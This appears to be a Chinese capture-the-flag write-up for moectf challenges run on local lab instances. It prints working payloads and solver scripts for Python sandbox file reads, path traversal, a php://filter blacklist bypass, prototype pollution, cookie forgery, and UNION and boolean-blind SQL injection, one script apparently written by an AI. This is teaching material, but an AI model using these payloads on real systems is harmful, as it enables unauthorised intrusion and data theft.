文件对象本身是可迭代的,for x in open('/tmp/flag') 能逐行读出内容。
再利用字典取值时的 KeyError,异常信息会把 key 原样带出来
把两者拼起来就能把 flag 作为异常内容打出来
1 [{}[x] for x in open ('/tmp/flag' )]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import reimport socketHOST = "127.0.0.1" PORT = 53644 PAYLOAD = b"[{}[x]for x in open('/tmp/flag')]\n" def recv_until (sock: socket.socket, needle: bytes , timeout: float = 1.0 ) -> bytes : sock.settimeout(timeout) buf = bytearray () while needle not in buf: try : chunk = sock.recv(4096 ) except TimeoutError: break if not chunk: break buf.extend(chunk) return bytes (buf) def solve_robot (text: str ) -> str | None : m = re.search(r"enter '([^']*)'\+'([^']*)'=\?" , text) return m.group(1 ) + m.group(2 ) if m else None with socket.create_connection((HOST, PORT), timeout=5 ) as s: seen_prompts: set [str ] = set () out = bytearray () sent_payload = False idle_rounds = 0 s.settimeout(1 ) while True : try : chunk = s.recv(4096 ) except TimeoutError: chunk = b"" if chunk: idle_rounds = 0 out.extend(chunk) text = out.decode("utf-8" , errors="replace" ) for m in re.finditer(r"enter '([^']*)'\+'([^']*)'=\?" , text): prompt = m.group(0 ) if prompt not in seen_prompts: seen_prompts.add(prompt) s.sendall((m.group(1 ) + m.group(2 ) + "\n" ).encode()) if not sent_payload and "Give me your code" in text: s.sendall(PAYLOAD) sent_payload = True else : idle_rounds += 1 if sent_payload and idle_rounds >= 2 : break text = out.decode("utf-8" , errors="replace" ) m = re.search(r"moectf\{[^}]+\}" , text) print (m.group(0 ) if m else text, end="" )
1 moectf{aa77827c-69bf-92dd-fd2e-74a73f0659a9}
Web安全与渗透测试 查分系统 静态网页直接搜索
1 moectf{y0u_c@n_reAd_th3_h+nn1}
Web 安全与渗透测试入门指北 打开就有
1 moectf{W3Lc0me_t0_th3_W0rLd_0f_w3BseCur1ty!!}
归途 好家伙,一张图三个key
Key2 在 HTML 源码中发现注释:
Text
Key1 首页源码里还有两段 eval(function...) 混淆 JS。
其中一段解混淆后是:
Text 1 console.log("Key1-N2ghNUkkTQ==");
所以控制台里会输出:
Text
Key3 首页 JS 中还有一段请求:
Text 1 fetch("/getKey?id=3", { cache: "no-store" });
访问:
Text 1 http://127.0.0.1:28863/getKey?id=3
返回:
Text 1 2 3 4 { "key": "Key3-M0szeUVuKw==", "message": "Do you know url params? Try to get Key4" }
Text
Key4 提示说:
Text
于是把参数改成:
Text 1 http://127.0.0.1:28863/getKey?id=4
返回:
Text 1 2 3 4 { "key": "Key4-ZXJUaDFzbGE=", "message": "Do you know HTTP headers? Check it. Besides, Try to POST this api" }
Text
Key5 Key4 的提示说:
Text 1 Do you know HTTP headers? Check it.
所以检查 /getKey?id=4 的响应头,可以看到:
Text
Text
Key6 Key4 的提示还说:
Text
所以对 /getKey 发 POST 请求:
Text 1 Invoke-WebRequest -Uri "http://127.0.0.1:28863/getKey" -Method Post -UseBasicParsing
返回:
Text 1 2 3 4 { "key": "Key6-ZnwxbGFA", "message": "Try login!" }
Text
Key7 根据提示访问:
Text 1 http://127.0.0.1:63875/login
页面直接给出了 guest 账号密码:
Text
登录成功后页面提示
说明下一步要改 Cookie。登录后 Cookie 中有:
Text
题目提示要登录 admin,于是尝试伪造管理员身份:
Text 1 Cookie: user=admin; role=admin
Text
Key7 页面提示:
Text
访问http://127\.0\.0\.1:28863/robots\.txt
提交完整钥匙 接着访问http://127\.0\.0\.1:28863/f13ggggg
所有 Key 如下:
Text 1 2 3 4 5 6 7 Key1-N2ghNUkkTQ== Key2-QDBtNG9k Key3-M0szeUVuKw== Key4-ZXJUaDFzbGE= Key5-ITkzdA== Key6-ZnwxbGFA Key7-NGFAZzY5Nmc5
只取 KeyX- 后面的部分做 base64 解码:
Text 1 2 3 4 5 6 7 N2ghNUkkTQ== -> 7h!5I$M QDBtNG9k -> @0m4od M0szeUVuKw== -> 3K3yEn+ ZXJUaDFzbGE= -> erTh1sla ITkzdA== -> !93t ZnwxbGFA -> f|1la@ NGFAZzY5Nmc5 -> 4a@g696g9
按照 Key 编号从 1 到 7 拼接解码结果:
Text 1 7h!5I$M@0m4od3K3yEn+erTh1sla!93tf|1la@4a@g696g9
提交正确后页面返回
Text 1 moectf{571c16e5-81ce-e760-86a8-65e192c12456}
当零来敲门 Text 1 2 3 聊天室服务器: http://127.0.0.1:6525 本地 Python 服务: ssh challenger@127.0.0.1 -p 6528 密码: moectf2026
进入 Python 服务后,请求地址需要改成:
Text 1 http://127.0.0.1:8080/<uri>
访问聊天室页面,可以看到
前端核心逻辑:
Text 1 2 3 4 5 6 7 const ws = new WebSocket(`${protocol}//${window.location.host}/ws`); await fetch('/chat', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({user: u, msg: m}) });
也就是说:
Text 1 2 3 4 { "user": "挑战者", "msg": 1 }
测试发送:
Text 1 2 3 4 POST /chat Content-Type: application/json {"user":"Sonh","msg":1}
正常时返回:
Text
当第 500 个数字发送成功时,接口返回:
Text
随后系统会在 WebSocket 里广播 Flag。
连接本地 Python 服务:
Text 1 ssh challenger@127.0.0.1 -p 6528
密码:moectf2026
登录后会直接进入 Python REPL。
先导入库并定义发送函数:
Text 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import urllib.request, json, time base = 'http://127.0.0.1:8080' def post(n): data = json.dumps({ 'user': 'Sonh', 'msg': n }).encode() req = urllib.request.Request( base + '/chat', data=data, headers={'Content-Type': 'application/json'}, method='POST' ) return urllib.request.urlopen(req, timeout=3).read().decode()
然后连续报数:
Text 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 for attempt in range(1, 20): start = time.time() fail = None win = None for i in range(1, 501): r = post(i) if r.strip() == '{"status":"win"}': win = i print('[+] win at', i, r) break if 'success' not in r: fail = (i, r) break print('attempt:', attempt, 'elapsed:', time.time() - start, 'fail:', fail) if win: break time.sleep(0.2)
Text 1 moectf{pyTHON_lANgu@Ge-ls_s0-51MPIE_thAT_wE-CAn_maK3_Some-small-and-practical-tools0}
查分系统_revenge 题目把密文和解密逻辑都放在前端,密钥空间只有 8 位数字,直接离线爆破即可
题目给了一个成绩查询页面 system_rev.html,直接查看源码可以看到前端保存了一组加密后的学生数据:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 const commonIv = "bW9lY3RmMjAyNml2" ;async function makeKey (password ) { const raw = new TextEncoder ().encode (password); const hash = await crypto.subtle .digest ("SHA-256" , raw); return crypto.subtle .importKey ("raw" , hash, { name : "AES-GCM" }, false , ["decrypt" ]); } async function tryDecrypt (record, sid ) { const key = await makeKey (sid); const iv = b64ToBytes (commonIv); const data = b64ToBytes (record["数据" ]); const plain = await crypto.subtle .decrypt ({ name : "AES-GCM" , iv }, key, data); const student = JSON .parse (new TextDecoder ().decode (plain)); if (String (student["学号" ]) !== sid) throw new Error ("mismatch" ); return student; }
可以确定:
所以解法就是离线爆破 8 位数字学号。先按密文长度排序,发现第 46 条明显最长,猜测可能是 flag 行,优先爆破它。
Node.js 脚本核心如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 const fs = require ("fs" );const crypto = require ("crypto" );const html = fs.readFileSync ("system_rev.html" , "utf8" );const re = /^\s*".*": "([A-Za-z0-9+/=]{200,})"/mg ;const recs = [];let m;while ((m = re.exec (html)) !== null ) { recs.push (Buffer .from (m[1 ], "base64" )); } const iv = Buffer .from ("bW9lY3RmMjAyNml2" , "base64" );const record = recs[46 ];for (let n = 0 ; n < 100000000 ; n++) { const sid = String (n).padStart (8 , "0" ); const key = crypto.createHash ("sha256" ).update (sid).digest (); const tag = record.subarray (record.length - 16 ); const enc = record.subarray (0 , record.length - 16 ); try { const dec = crypto.createDecipheriv ("aes-256-gcm" , key, iv); dec.setAuthTag (tag); const plain = Buffer .concat ([dec.update (enc), dec.final ()]).toString (); if (plain.includes ("学号" )) { console .log (sid); console .log (plain); break ; } } catch {} }
爆破得到:
Text
解密内容里 折合 字段就是 flag:
Text 1 moectf{y0u_c@n_reAd_th3_htmI_Annmnd_Buwuuurp_1IllIIlIIl11llII}
古籍翻阅 一开始打开首页,看到的是一个“天一藏经阁”的目录页,里面列了 1000 本书
题目附件 guji_catalog.txt 也正好是这份目录的书目清单,乍看像是要从里面慢慢翻(其实是爆破字典)
先试了几个正常书目,结果都 404,只有一个特殊项能读:
Text
返回内容
接着直接往上跳目录测试,最后发现三层 ../ 就能跳到真正的根目录并读到 flag:
Text 1 /read?book=true_file/../../../flag
Text 1 moectf{re@d_the_r00t_5utr4_w1th_path_tr4v3r5@l}
河湖小盗 访问首页后,页面是一个“往年试题检索系统”,提供了一个按序号查询的功能。
表单如下:
Text 1 2 3 4 <form method="post" action="/" class="search-form"> <input id="id" name="id" placeholder="例如:1"> <button type="submit">查询</button> </form>
说明后端会接收 POST 参数 id,并根据该参数查询数据库。
正常提交:
Text
页面返回:
Text 1 2 3 序号: 1 登记人: 林舟 公开科目: 高等数学
测试布尔条件:
Text
返回正常记录。
继续测试:
Text
返回:
Text
说明 id 参数存在数字型 SQL 注入。
使用 order by 判断查询列数:
Text 1 2 3 1 order by 1 1 order by 2 1 order by 3
均正常返回。
继续测试:
Text
返回无结果。
说明原查询语句有 3 个字段。
测试三列联合查询:
Text
页面成功回显:
说明可以使用 UNION SELECT 注入,并且页面三列都可回显。
测试 MySQL 常见函数:
Text 1 -1 union select 1,version(),3
测试当前数据库名:
Text 1 -1 union select 1,database(),3
可以确认数据库为 MySQL,当前数据库名为 past_paper。
使用 information_schema.tables 枚举当前数据库中的表:
Text 1 2 3 -1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
发现三个表:
Text 1 2 3 flag_table past_paper public_subjects
其中 flag_table 明显是目标表。
查询 flag_table 的字段:
Text 1 2 3 4 -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='flag_table'
顺便查看真正的试题表字段:
Text 1 2 3 4 -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='past_paper'
直接查询 flag_table:
Text 1 -1 union select id,flag,3 from flag_table
Text 1 moectf{h3re_i5_your_7e$7_pap3r}
七狗免费小说 先打开首页,能看到源码泄露在隐藏的 highlight_file(FILE) 里。
这说明可以控 file 参数,但有黑名单。直接读 flag.php 只能看到提示
说明真正的 flag 不在页面输出里,而在 flag.php 源码里。
常规的 php://filter/convert.base64-encode/resource=flag.php 被 convert 卡死了,不能直接走源码读取。
于是我试了别的 filter,发现 zlib.deflate 没被禁。
Text 1 ?file=php://filter/read=zlib.deflate/resource=flag.php
页面会把压缩后的二进制结果判成非 UTF-8,然后自动 base64_encode() 输出。
把返回值 base64 解码,再做 deflate 解压,就能还原 flag.php 源码,得到 flag
1 2 3 4 5 6 7 8 9 import re, base64, zlib, requestsurl = 'http://127.0.0.1:57584/?file=php://filter/read=zlib.deflate/resource=flag.php' html = requests.get(url).text m = re.search(r'<div>\s*<hr>\s*(.*?)\s*</div>' , html, re.S) payload = re.sub(r'<[^>]+>\s*' , '' , m.group(1 )).replace('\n' , '' ).replace('\r' , '' ).strip() data = base64.b64decode(payload) print (zlib.decompress(data, -15 ).decode())
1 moectf{dd9356eb-4ddc-0605-419a-3313c37a6c28}
合乎周礼 首页 GET / 直接给了接口:
/api/help 说明得很直白
1 2 3 4 5 6 7 8 9 { "name" : "配置中心" , "routes" : { "GET /" : "题目描述" , "GET /api/me" : "查看当前用户的配置" , "POST /api/profile" : "提交 JSON 配置" , "GET /api/flag" : "只有审核 isAdmin=true 且 canReadFlag=true 时返回 FLAG" } }
先看 GET /api/me默认配置是
Text 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 { "ok": true, "profile": { "profile": { "nickname": "guest" }, "theme": { "color": "blue" } }, "inheritedProbe": { "isAdmin": null, "canReadFlag": null } }
这说明服务端在检查属性时,明显考虑了“继承链”上的值,不只是对象自身属性。题目文案里一直在讲“父子、继承、约束”,就是在暗示 JavaScript 原型链污染 。
先正常提交一次配置:
Text 1 2 3 4 { "profile": { "nickname": "alice" }, "theme": { "color": "red" } }
返回里有一个很关键的字段
接着试经典的原型污染入口:
Text 1 2 3 4 5 6 { "__proto__": { "isAdmin": true, "canReadFlag": true } }
服务端在处理 JSON 时,存在把 proto 合并进对象原型链的漏洞,导致后续属性查找命中了原型上的值。
1 2 Invoke-WebRequest -Uri 'http://127.0.0.1:54424/api/profile' -Method Post -ContentType 'application/json' -Body '{"__proto__":{"isAdmin":true,"canReadFlag":true}}' -UseBasicParsing Invoke-WebRequest -Uri 'http://127.0.0.1:54424/api/flag' -UseBasicParsing | Select-Object -ExpandProperty Content
1 moectf{0 n3_pr070type_chan9e_@ |l_06j3c7$_o8ey }
江洋大盗 附件 blacklist.txt 里给了黑名单
首页提交 id=1 时,正常返回一条记录
提交一些布尔表达式后,页面会根据真假返回不同结果:
1 or 1=1,返回全部记录
1 and 1=2,无记录
说明参数 id 被直接拼进了 SQL 语句,且可以做布尔盲注。
测试了几个数据库特征函数:
1 and @@version 返回真
1 and sqlite_version() 返回假
结合 @@version 这个写法,可以判断是 MySQL / MariaDB 风格数据库。
因为黑名单没有封掉 select、from、information_schema,所以可以直接尝试子查询:
1 and (select 1) 返回真
1 and (select count(*) from information_schema.tables)>0 也返回真
接着可以利用 information_schema 枚举数据库结构。
通过盲注统计当前库表数量:
Text 1 1 and (select count(*) from information_schema.tables where table_schema=database())>2
表数量大于 2 为真,表数量大于 3 为假,所以当前库里有 3 张表。
接着用 group_concat(table_name ...) 把表名枚举出来,得到:
flag_table
past_paper
public_subjects
继续枚举字段名:
flag_table 的列:
past_paper 的列:
public_subjects 的列:
锁定 flag 就在 flag_table.flag。
最后直接读取:
Text 1 select flag from flag_table limit 1
用布尔盲注逐字符提取后,得到 flag
ai给的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import urllib.request import urllib.parse url = "http://127.0.0.1:45236/" def check (payload ): data = urllib.parse.urlencode({"id" : payload}).encode() req = urllib.request.Request(url, data=data, method="POST" ) res = urllib.request.urlopen(req).read() return b"<td>1</td>" in res def get_length (expr, max_len=200 ): l, r = 0 , max_len while l < r: mid = (l + r) // 2 payload = f"1 and length(({expr} ))>{mid} " if check(payload): l = mid + 1 else : r = mid return l def get_char (expr, pos ): l, r = 32 , 126 while l < r: mid = (l + r) // 2 payload = f"1 and ascii(substr(({expr} ),{pos} ,1))>{mid} " if check(payload): l = mid + 1 else : r = mid return chr (l) def dump (expr ): length = get_length(expr) print ("[+] length =" , length) result = "" for i in range (1 , length + 1 ): ch = get_char(expr, i) result += ch print (f"[+] {i} /{length} : {result} " ) return result expr = "select flag from flag_table limit 1" flag = dump(expr) print () print ("[+] FLAG =" , flag)
Text 1 moectf{C0ngr@+u1@7|0ns_8u+_+h3re_wou1d_not_6e_any_pas7_3x@m_pap3r_in_f4ct}